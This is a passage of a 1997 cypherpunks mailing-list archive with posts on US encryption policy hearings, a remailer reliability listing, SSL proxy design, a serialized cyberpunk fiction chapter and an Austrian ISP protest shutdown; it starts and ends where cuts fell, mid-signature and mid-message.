kFZqVwXzoLrD06Dn7Vr9AOxcqx0VC/692jEBoMsuqCjfL9VGDjIPFJFbPN900QQn
mbbU5eL5567YGnYYd2Xe25zPDS4UWUiF7HKxgZF+mt619wOBVMRf9h8A853iA9h5
as156RPh1t5R4NGKwfGb+b8S5vmB5+tbTkFNLcPv2gcTl4xUHMnUST0I5BG6ww9C
aV1Ove4muVg/Dw/vhbWixjGKI312uWQ+4lcRSaUOJ9j6XsKGUzxFEw==
=Gnfa
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From shabbir at democracy.net  Mon Mar 24 03:49:17 1997
From: shabbir at democracy.net (Shabbir Safdar)
Date: Mon, 24 Mar 1997 03:49:17 -0800 (PST)
Subject: INFO: Pro-CODE hearing (photo, audio, & text) available online!
Message-ID: <199703241149.GAA03376@panix3.panix.com>


==========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
 Enhancing Participation in the Democratic Process Through the Internet
_________________________________________________________________________
Update No.2          http://democracy.net/               March 20, 1997
_________________________________________________________________________
Table of Contents

 - democracy.net Cybercast draws Thousands to Interactive Hearing
 - Upcoming Events
 - Volunteering for democracy.net
 - About democracy.net
___________________________________________________________________________

DEMOCRACY.NET CYBERCAST DRAWS THOUSANDS TO INTERACTIVE CONGRESSIONAL HEARING

democracy.net, a project designed to explore ways of enhancing citizens
participation in the democratic process via the Internet, held its first
live, interactive cybercast of a Congressional hearing on Wednesday March
19th, 1997.

Thousands of Internet users joined this historic event by listening to a
live audio feed from the hearing (cybercast over the Internet via
RealAudio), submitting questions and testimony for the hearing record, reading
information about the hearing, and joining a simultaneous online discussion
forum to discuss the hearing with Congressional staff and policy experts.

The hearing was held by the Senate Commerce Committe to consider S. 377,
the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
issue of US encryption policy -- a critical issue to the Internet user
community.

Some statistics from the event.

* 6,019 individual Internet users visited the democracy.net web site
  containing information about the Hearing, links to both sides of the
  issue, and other relevant information in the 24 hours preceding the
  event.

* 703 individuals listened to the hearing live online via Real Audio
  throughout the 3 hour event.  The actual Senate hearing room (Russell
  253) where the event took place only holds less than one hundred people
  when filled to capacity (as it was for this hearing).

* Throughout the event, between 20 - 50 people joined the simultaneous
  live chat discussion where Commerce Committee staff and encryption
  policy experts fielded questions and discussed the hearing.  The
  audience included individual Internet users, reporters, advocacy
  groups, and Congressional staff.

* Twenty-three Internet users submitted formal comments for the hearing
  record via the democracy.net web page, including IETF chair Fred Baker.

The democracy.net cybercast was promoted on the front page of Netscape's
World Wide Web site (one of the most popular destinations on the entire
Web) on March 18 - 19. The site is also featured at Progressive Networks
WebActive Site of the Week for the week of March 17-21.

Despite some technical bugs early on (par for the course for a cutting-edge
Internet event such as this), the cybercast went even better than we
anticipated. We are grateful to Brett Scott, Mike Rawson, Matt Raymond,
Mike Inners, and Pia Pialorsi of the Senate Commerce Committee staff for
their help and support of this effort.

Archives of the hearing are posted http://democracy.net/events/03191997/

democracy.net is a new project of the Center for Democracy and Technology
and the Voters Telecommunications Watch designed to explore ways of
enhancing citizen particpation in the democratic process via the Internet.
democracy.net is made possible through the generous support of Webactive
Panix, Digex, and the Democracy Network. Visit
http://democracy.net/about/ for more details.

______________________________________________________________________________
UPCOMING EVENTS

* April 10, 8:30PM EST - Online town hall meeting with Rep. Rick White
  (R-WA), Co-Founder of the Congressional Internet Caucus

* April 16, 8:30PM EST - Online town hall meeting with Rep. Anna Eshoo (D-CA),
  Key Representative from California's Silicon Valley and leader on Internet
  Policy issues.

* Additional events are in the works -- please visit http://www.democracy.net
  for more details, and sign up for our event announcement mailing list.

democracy.net town hall meetings will be moderated by Todd Lappin (Cyber
Rights Editor for Wired Magazine). The town hall meetings are designed to
bring interested members of the Internet community and key members of
congress together to discuss current Internet policy issues.

____________________________________________________________________________
VOLUNTEERING FOR DEMOCRACY.NET

A volunteer is needed to help index the RealAudio transcript of the
hearing.  If you would like to help, please do the following and mail the
results to webmaster at democracy.net.

To index the RealAudio transcript, please listen to the transcript and
watch the time counter at the bottom right of the page.  Please note the
following beginning and ending times:
   -whenever a new witness begins their prepared testimony and,
   -whenever a question and answer section begins.

Mail them to us at webmaster at democracy.net with the start and stop times
of each section.  Thanks!

____________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
PANIX Internet, the Democracy Network, and DIGEX Internet.  More
information about the project can be found at
http://democracy.net/about/

To receive democracy.net announcements automatically, please visit
http://democracy.net/
_____________________________________________________________________________
end Update No.2
03.20.97
=============================================================================





From trei at process.com  Mon Mar 24 06:25:58 1997
From: trei at process.com (Peter Trei)
Date: Mon, 24 Mar 1997 06:25:58 -0800 (PST)
Subject: BXA on Crypto Plans
Message-ID: <199703241425.GAA06543@toad.com>


> Date:          Fri, 21 Mar 1997 08:42:22 -0500
> To:            cypherpunks at toad.com
> From:          John Young <jya at pipeline.com>
> Subject:       BXA on Crypto Plans
> Reply-to:      John Young <jya at pipeline.com>

> Excerpt of BXA head William Reinsch statement on Goodlatte's
> SAFEncryption Bill HR 695 on March 20, 1997:
> 
> [...]
> To that end, 
> we will shortly submit legislation intended to do the following:
> 
>   Expressly confirm the freedom of domestic users to choose any 
>   type or strength of encryption.
> 
>   Explicitly state that participation in the key management 
>   infrastructure is voluntary.
> 

I think we should ponder the validity of the underlying assumption
here - that there will be *one* PKI system, and (speculating here)
(i) the government sets what it's requirements are, and (ii) they
will include compromising one's private keys.


> 
>   Offers, on a voluntary basis, firms that are in the business 
>   of providing public cryptography keys the opportunity to 
>   obtain government recognition, allowing them to market the 
>   trustworthiness implied by government approval.
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

This is a joke, right?

Peter Trei
trei at process.com

Disclaimer: I do not represent my employer.






From raph at CS.Berkeley.EDU  Mon Mar 24 06:50:34 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 24 Mar 1997 06:50:34 -0800 (PST)
Subject: List of reliable remailers
Message-ID: <199703241450.GAA00871@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail at miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster at remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer at replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer at remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack at holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer at dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer at cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock at rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config at nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer at huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix at squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman at jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias at alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman at athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config at weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman at cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer at wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer at lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer at hidden.net> cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 24 Mar 97 6:48:58 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config at nym.alias.net             --###*+***##    18:54 100.00%
hidden   remailer at hidden.net              #####+***###     1:55  99.99%
balls    remailer at huge.cajones.com         #########+#     3:23  99.94%
shaman   remailer at lycaeum.org             *+*++*+++-++    23:55  99.92%
lucifer  lucifer at dhp.com                  +*++++++++++    35:54  99.91%
winsock  winsock at rigel.cyberpass.net      ----_-.-----  5:07:09  99.89%
weasel   config at weasel.owl.de             ++++--+++--   2:47:00  99.89%
cyber    alias at alias.cyberpass.net        + - +++*+***    35:59  99.69%
exon     remailer at remailer.nl.com         #* #+#*#*+##    16:00  99.61%
dustbin  dustman at athensnet.com            ++.+  ++ +++    44:28  99.26%
replay   remailer at replay.com              +*_   -**-**  4:29:56  99.15%
jam      remailer at cypherpunks.ca          ** **** * **    21:53  99.05%
squirrel mix at squirrel.owl.de              ++++--+++--   4:36:01  98.56%
reno     middleman at cyberpass.net          *  -     +-+    44:40  97.15%
mix      mixmaster at remail.obscura.com     _ _. +-      51:47:04  88.89%
extropia remail at miron.vip.best.com        -_..- .      21:51:10  65.36%
middle   middleman at jpunix.com             ++-+*+++        35:43  46.02%
haystack haystack at holy.cow.net               ++           52:19  26.11%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From pgh at dhp.com  Mon Mar 24 07:17:28 1997
From: pgh at dhp.com (Pittsburgh Admin)
Date: Mon, 24 Mar 1997 07:17:28 -0800 (PST)
Subject: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142104.PAA02356@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970324101600.12885C-100000@dhp.com>


On Fri, 14 Feb 1997, Igor Chudov @ home wrote:

> Dave Hayes wrote:
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> 
> Not all of you freedom-knights are good at it at all.
> 
> I would go as far as to say that only you, Dave Hayes, are good at it.
> 
> 	- Igor.
> 

Well, you see, it is TOUGH to be "ignorant."






From trei at process.com  Mon Mar 24 07:26:17 1997
From: trei at process.com (Peter Trei)
Date: Mon, 24 Mar 1997 07:26:17 -0800 (PST)
Subject: Security of SSL proxies
Message-ID: <199703241526.HAA07715@toad.com>


pgut001 at cs.auckland.ac.nz (Peter Gutmann) writes:
> A number of vendors are now selling SSL proxies which implement secure 
> tunnelling for web browsers using a non-crippled SSL implementation running on 
> the client machine.  Has anyone considered the total security level provided 
> by one of these systems?  I can see three problems with this approach:
>  
> 1. The security stops a few feet short of the browser, making a MITM attack 
>    possible (see below).
>  
> 2. Security and authentication is handled by the proxy and not the browser.  
>    This means that the browser (and browser user) never get to see the usual 
>    indicators that their connection is secure (or "secure" for non-US users).
>  
> 3. If you use a proxy like this to protect traffic for an entire company, the 
>    proxy provides the same type of target as a GAK key center: An attack which 
>    compromises this compromises security for the entire company.
[problems with this approach deleted]

> Peter.

I'm a little confused by your use of the term 'SSL proxy'. Netscape 
defined an extension to HTTP to allow SSL traffic through a firewall:
the encrypted request is prepended (in clear) with the actual 
destination IP address and port. The firewall proxy then opens a 
TCP/IP channel to the actual destination/port, and blindly relays packets
between the actual destination and the browser until one side or the
other shuts down the link.

The proxy does no encryption or decryption - in fact, it requires no 
crypto code at all. 

(BTW: this what setting the 'security proxy' field in Netscape is 
all about).

The scheme has some drawbacks 

- there is no provision for chaining proxies. 
- the server can't determine the source browser's IP - it only sees 
  the proxy's IP address. This makes it more difficult to filter 
  requests based on source ID.
- the proxy has no idea of the actual URL requested - proxies which
  want to filter or log requests based on URL can't do so.

Or are you talking about something entirely different? 

Peter Trei
(yes, I've implemented the above)
trei at process.com









From jeffb at issl.atl.hp.com  Mon Mar 24 08:28:59 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Mon, 24 Mar 1997 08:28:59 -0800 (PST)
Subject: Security of SSL proxies
In-Reply-To: <199703241526.HAA07715@toad.com>
Message-ID: <199703241638.LAA16180@jafar.issl.atl.hp.com>


Peter Trei writes:
> 
> pgut001 at cs.auckland.ac.nz (Peter Gutmann) writes:
> > A number of vendors are now selling SSL proxies which implement secure 
> > tunnelling for web browsers using a non-crippled SSL implementation running on 
> > the client machine.

> I'm a little confused by your use of the term 'SSL proxy'. Netscape 
> defined an extension to HTTP to allow SSL traffic through a firewall:
> the encrypted request is prepended (in clear) with the actual 
> destination IP address and port. The firewall proxy then opens a 
> TCP/IP channel to the actual destination/port, and blindly relays packets
> between the actual destination and the browser until one side or the
> other shuts down the link.

> Or are you talking about something entirely different? 

Something different.  There are several products that are designed to
improve the strength of the encryption securing the connection between
the browser and server.  Here are a couple of URLs with more info:

    http://www.c2.net/products/spwp/
    http://www.medcom.se/ssr/

I believe there are a couple of other competitors as well, but don't 
know the URLs.


-- Jeff





From bubba at dev.null  Mon Mar 24 09:25:36 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Mon, 24 Mar 1997 09:25:36 -0800 (PST)
Subject: WebWorld 15
Message-ID: <859223961.114510.0@fatmans.demon.co.uk>



                                                  The True Story of the InterNet 
                                                                    Part II

                                       WebWorld & the Mythical 'Circle of Eunuchs'

                                                               by Arnold

Copyright 1995, 1996, 1997 Pearl Publishing


Initiation
-----------

Jonathan was a wreck. A totally nervous wreck. 

The bottle of bourbon was almost empty, but that was O.K., he had more-plenty more. He knew that the 
woman who came to 'initiate' him into the circle was right about Bubba Rom Dos. Just an old, drunken has-
been who liked to shoot his mouth off and act important, rambling on about things he knew nothing about.

But Jonathan knew about these weird, evil things. He knew much more than he wanted to know about them. 
Things that he couldn't forget, no matter how hard he tried.

After he had been to see Bubba, receiving only a denial of the Magic Circle's existence (from a young girl 
whose existence was so real that he still thought about her), Jonathan had immersed himself in scanning old 
CyberPosts...email, he corrected himself...that dated from the early CypherPunks era.
It was a twisted, rambling trail that was woven around and through the history of the CypherPunks. 
CryptoRebels, CyberHackers, Spooks, Phreaks, and Phantoms...
Everybody had an angle, or a game, and even the players often seemed unsure of who they were playing 
with, or against.

Was it Gilmore, or Hughes-Jonathan couldn't remember, it had been so many years ago-who had stood on 
the desk in his grandfather's study, and uttered the words which might well have been the official battle-cry 
of the CypherPunks?
"Close ranks-every man for himself."

Jonathan had pored over the archive surrounding the date of the legendary moderation experiment on the 
list. It was an archive that Jonathan's grandfather, among others, had used for PseudoID Traffic Analysis, 
along with UNIX route tracing records and information secretly gleaned from the military's Onion Routers, 
in order to attempt to "separate the  double agents from the triple agents," as one of the Russian list 
members, Igor, used to say.
Jonathan still remembered the one time that he had received a scathing rebuke from all present in his 
grandfather's study, as a result of suggesting that they could learn much of what they needed to know by 
studying the remailer records.
Big mistake.

Jonathan immediately found himself surrounded by a plethora of enraged CypherPunks who obviously 
didn't give a fat rat's ass whether he was a mere child, or not-nobody questioned their integrity regarding 
their foremost contribution to anarchy...end of story.

One of the CypherPunks picked him up by his collar, lifting him up to eye level, and said, in deadly serious, 
deep-throated tones,
"You don't tug on Superman's cape. You don't spit in the wind. You don't peek in the files on your own 
remailer, and you don't mess around with Jim."

To Jonathan's great relief, the whole ragged band broke out in laughter. Jonathan learned later that the 
gentleman who had 'corrected' him, Jim, was the author of an Assassination Bot-one which had begun as a 
theoretical exercise, and later became a major tool in the implementation of the CypherPunks launching of 
Channel War II.
Jonathan shook his head slowly, trying to convince himself that this was all a dream, and that he wasn't 
really irrevocably connected to this band of fringe-dwellers, rogues and eccentrics.
It didn't work.

He remembered the night that Priscilla had knocked on his door, and in his rush to shut off his blue-light 
unit he answered the door with his upper body uncovered. He was terrified when he realized that this 
woman, whom he had never seen before, was standing there, dumbfounded, staring at his tattoo.
Jonathan had almost fainted with relief when she stepped inside the door, quickly shutting it, reached into 
her cloak, and pulled out a bottle of Jack Daniel's, with a label he instantly recognized, saying in a quiet, 
calm voice, "We need to talk."

Tuesday was the worst. That was what set off his three-day binge. He had been working on his skills, like 
the lady had told him to do. And he was keeping his eyes open, like she said. Somehow, seeking to observe 
the weird things, instead of dreading and trying to avoid them, had helped. Now, instead of trying to repress 
the memory of these events, he would analyze them, note them, try to arrange them in a logical fashion, so 
that if he ever had to deal with them, to work with or against them, he would be prepared.
"Be prepared.", that's what the woman had told him during his initiation.
"You will probably will not be contacted for quite some time-perhaps never.", the woman had said, but that 
was all right. Just knowing that there was a Magic Circle, that there were others out there, waiting, 
preparing, possibly already acting against the strange forces he had encountered-that was enough, just 
knowing that he wasn't alone.

And then Tuesday...

It had been a strange couple of weeks.
The weirdness going on in his system was just the 'usual' weirdness. Programs that he hadn't written 
cropping up and running themselves. They followed the normal pattern, in most cases-extracting newly 
input information from the databases he was working with, sorting and codifying it, uploading it to 
/dev/null. Theoretically, that meant it was being sent 'nowhere', but he had long since figured out that 
'nowhere' was 'somewhere' that he was not supposed to discover.

So he left it alone...until Tuesday.

The Cowboy, one of the top computer honchos on the InterNet, probably the top honcho, according to 
many, had dropped out of sight, suddenly and unexpectedly, a couple of weeks before.

Strangely, he had been called into the Cowboy's 'domain'-"Cowboys don't have offices, they ride the 
range.", he had told Jonathan-the next working day after his initiation into the 'Circle'. He thought that this 
might be the 'contact' he was expecting, but it turned out to be a routine, minor matter.
There was a bizarre incident, however, which left Jonathan wondering if the Cowboy was really all that his 
reputation held him out to be.

The Cowboy had been drinking quite liberally from a bottle of Jack Daniel's he had stashed behind the 
monitor, while Jonathan worked on some minor programs that the Cowboy had told him to troubleshoot for 
him. Once Jonathan had completed his tasks, the Cowboy came over to check his work, and proceeded to 
log onto the terminal that Jonathan had been working on.
The Cowboy, his coordination seemingly affected by his prolonged drinking, accidentally hit the return key 
at the 'login:' prompt, and then typed 'Cowboy' into the 'password:' prompt by mistake, which 'hid' what he 
had typed, as it is supposed to do, in order to keep others from discovering another user's password. The 
Cowboy now typed his password in at the subsequent 'login:' prompt, where it was plainly visible for 
Jonathan to see. The Cowboy, in his inebriated state, repeated this mistake several times, cursing the system 
for not allowing him to log on, before realizing what he had done.
The Cowboy, looking up sheepishly at Jonathan, corrected his error, logged onto the system, checked 
Jonathan's work, then dismissed him.

This type of thing happened every now and then, with one user accidentally discovering another user's 
password, but Jonathan had never heard of such a thing at the ultimate level of security which the Cowboy 
was privileged to hold. And even a low-level user, having made this mistake, would immediately 'change' 
his or her password, in order to maintain the security of their user identity and their work. The Cowboy had 
not done this, which bothered Jonathan.

Then, when the Cowboy disappeared, Jonathan was called in to take over some of his duties, which were 
spread amongst a variety of individuals.
Jonathan was amazed at this, since the others sharing the Cowboys former duties were all top-notch, 
experienced 'Net'ers, which he was not, with high-level clearance in their regular posts. Jonathan then 
discovered, when changing his user attributes to match the Cowboy's, so that he could work with a variety 
of 'C-shell' programs, that his own security-level had been changed to match that of the Cowboy. What was 
unusual was that this had been done weeks ago-at the same time that Jonathan had been at home being 
initiated into the 'Circle of Eunuchs'.

Jonathan shivered as he thought about this, with a strange chill running up and down his spine. The same 
strange chill had occurred twice that day. The first time was when he realized that the strange men 
surrounding him in the office he was temporarily working in-men sent down directly from the Chief 
Director's Security Office-were all working frantically to try to 'break into' the Cowboy's user account-which 
Jonathan knew the password for. The second time was shortly thereafter, when thinking about the 'password' 
incident, and realizing that the Cowboy's password-gnimocsizemog-when spelled backwards, read 
'gomeziscoming'.

Then, Tuesday...
Jonathan was working at his home terminal, cleaning up a few leftovers from the day's office work, and he 
had noticed the intruding, unauthorized 'background' programs running, again.
When he checked into their activity, he noticed that they were doing searches on all of his databases, 
searching for the word 'Uncle'. Each time the word was found, the database record was uploaded to 
/dev/null, as usual. Jonathan decided it was time to find out just where the purloined information had been 
going, for all this time.
He pulled a sub-routine out of one of his programs, one designed to report back on 'path' errors when 
debugging programs. It was a sub-routine of his own design, and one that he was quite proud of. When one 
of his programs was sending its output files to some unknown place, with an unknown name, his sub-routine 
(which he called 'find_me.c'), would intervene to 'tag along' with the file, and, at its destination, change do a 
'pwd' command (report the 'present working directory'), and use that and the name of the unknown file as 
arguments for the 'find_me.c' file, which would then report back to Jonathan's terminal with the path name 
and file name of the lost file.

When Jonathan 'piped' his sub-routine into the intruder program, however, he got some very unexpected 
results.
First, he was booted out of his login account, and his terminal screen went blank. Secondly, the power to his 
system went off, and he could not turn it back on. Thirdly...

Jonathan reached for another bottle of bourbon. This one was Wild Turkey. He poured himself a stiff shot, 
threw it back, and thought about the third effect of his program.

Thirdly, there was the sound of jack-boots on the stairs, several minutes later, then the sound of his next-
door neighbor's door being kicked in, shots ringing out, and the sound of jack-boots leaving shortly 
thereafter. Jonathan had looked out the window to see dark figures loading his neighbor's lifeless body into 
a dark vehicle and then drive off into the night.
The following morning, Jonathan had seen the news of his own death come over the VirtualNews link, 
stating that a lone burglar, who escaped capture, was responsible. 
Jonathan had switched apartments with his neighbor the day before, switching their terminals inside the 
junction box himself, rather than wait for the apartment manager's return from his vacation. He had 
chastised himself for forgetting to change the names on their mail slots, as he had promised the neighbor he 
would take care of it, but that omission, apparently, had saved his life.

Jonathan reached for the bottle, once again, and thought about Bubba Rom Dos.
The broken-down old buzzard may be, as the woman had told him, a useless failure, having given up on 
life. But the geezer sure knew how to do it with style, and since it would undoubtedly be discovered, upon 
his landlord's return, that Jonathan was still alive, he could think of no one better to emulate, than Bubba 
Rom Dos, in his final days.

Jonathan raised his glass, in toast, to his new-found 'liquid guru', and he thought about the young girl he had 
encountered on his visit to see Bubba. What was her name? Alexis? 
Yes, Alexis.

----------------------------
Chapter 15 - Initiation








From toto at sk.sympatico.ca  Mon Mar 24 09:29:23 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 24 Mar 1997 09:29:23 -0800 (PST)
Subject: UK TTP regs
In-Reply-To: <3.0.1.32.19970324021936.0281a038@mail.io.com>
Message-ID: <3336B9DB.7D7A@sk.sympatico.ca>


Greg Broiles wrote:

> Last week's hearing for the ProCODE bill totally ignored...
>  the Fourth Amendment 
> law enforcement...contemptuous of the law itself 
> using its power to perpetuate itself
> various flavors of political or personal repression
> various Red Squads
> the COINTELPRO operation against domestic dissident groups,
> harassment of...activists,
> local police...spying 
> Ruby Ridge, Waco, Operation MOVE
> FBI crime lab...altering lab reports...perjured testimony
> cops who fuck up for political reasons
> spooks/cops who sell out just for money 
> street-level corrupt cops who "look the other way", steal from
> suspects/defendants, "borrow" from evidence lockers, carry "throw-down" guns

> Which is a lot of rant to say that I don't think the sky is falling in the UK
> just yet.

  But you've made a damn good case for running for cover in the U.S.
  You ought to rant more often.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From camcc at abraxis.com  Mon Mar 24 09:59:13 1997
From: camcc at abraxis.com (Alec)
Date: Mon, 24 Mar 1997 09:59:13 -0800 (PST)
Subject: [PGP-USERS] JFYI: Austria goes offline
Message-ID: <3.0.1.32.19970324124527.007c1a80@smtp1.abraxis.com>


>X-Sender: helmberg at mailhost.via.at
>Date: Mon, 24 Mar 1997 16:07:03 +0100
>To: <pgp-users at rivertown.net>
>From: Florian Helmberger <helmberg at via.at>
>Subject: [PGP-USERS] JFYI: Austria goes offline
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I thought this might be of interest for some of you guys...
>
>More info about this action is accessable at <http://www.internet.at>.
>
>***
>    ====================
>    Austria goes Offline
>    ====================
>
>    On Tuesday, 25.3.1997, Austria's ISPs are going to shutdown all their
>    Internet services from 16:00 to 18:00 MET.  The reason for this unique
>    action is the recent seize of all computer equipment of a Viennese ISP
>    by the police as pieces of evidence.  This official act was triggered by
>    a denunciation versus persons unknown regarding child pornography dating
>    10.3.1996 (! one year ago !).
>
>    Confiscation of equipment after more than one year doesn't seem to be
>    appropriate for securing evidence.  The current legal status doesn't
>    clearly define the position of an ISP and doesn't specify general
>    guidelines for the responsibility of content of the Internet.  With the
>    general shutdown Austria's ISPs are demonstrating the only mode of
>    operation which is evidently conforming to current law.
>
>    Apart from the existing willingness for co-operation Austria's ISPs are,
>    at the same time, offering practical support for the legal authority
>    like free Internet access and training for their staff.
>
>    From: "Christian Panigl, ACOnet/UniVie"
>***
>
>Best wishes,
>Florian
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.3i
>Charset: cp850
>
>iQB1AwUBMzaYlHA6iYwSpSQNAQG5KgMAjeCROiykp0KxRhwBEtjrHgeK4wHqrTry
>v1racUrPbqkIW1B9yLvc8yzkJ4v0+r1Bd7a2OBRbvcxm9TgtS8MzMy+vPumTgL7v
>0kj3Qkt8NDYrU3nIHmrcriSlkZ8G7W7T
>=Nk8a
>-----END PGP SIGNATURE-----
>
>___________________________________________________________________________
>Florian Helmberger                           http://home.pages.de/~helmberg
>------------------------------[Quote of the day]---------------------------
>"I am a marvellous housekeeper.  Every time I leave a man, I keep his
> house."
>    -- Zsa Zsa Gabor






From shabbir at democracy.net  Mon Mar 24 11:22:57 1997
From: shabbir at democracy.net (Shabbir Safdar)
Date: Mon, 24 Mar 1997 11:22:57 -0800 (PST)
Subject: INFO: Pro-CODE testimony available now online at democracy.net!
Message-ID: <199703241922.OAA28863@panix3.panix.com>


==========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
 Enhancing Participation in the Democratic Process Through the Internet
_________________________________________________________________________
Update No.2          http://democracy.net/               March 20, 1997
_________________________________________________________________________
Table of Contents

 - democracy.net Cybercast draws Thousands to Interactive Hearing
 - Upcoming Events
 - Volunteering for democracy.net
 - About democracy.net
___________________________________________________________________________

DEMOCRACY.NET CYBERCAST DRAWS THOUSANDS TO INTERACTIVE CONGRESSIONAL HEARING

democracy.net, a project designed to explore ways of enhancing citizens
participation in the democratic process via the Internet, held its first
live, interactive cybercast of a Congressional hearing on Wednesday March
19th, 1997.

Thousands of Internet users joined this historic event by listening to a
live audio feed from the hearing (cybercast over the Internet via
RealAudio), submitting questions and testimony for the hearing record, reading
information about the hearing, and joining a simultaneous online discussion
forum to discuss the hearing with Congressional staff and policy experts.

The hearing was held by the Senate Commerce Committe to consider S. 377,
the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
issue of US encryption policy -- a critical issue to the Internet user
community.

Some statistics from the event.

* 6,019 individual Internet users visited the democracy.net web site
  containing information about the Hearing, links to both sides of the
  issue, and other relevant information in the 24 hours preceding the
  event.

* 703 individuals listened to the hearing live online via Real Audio
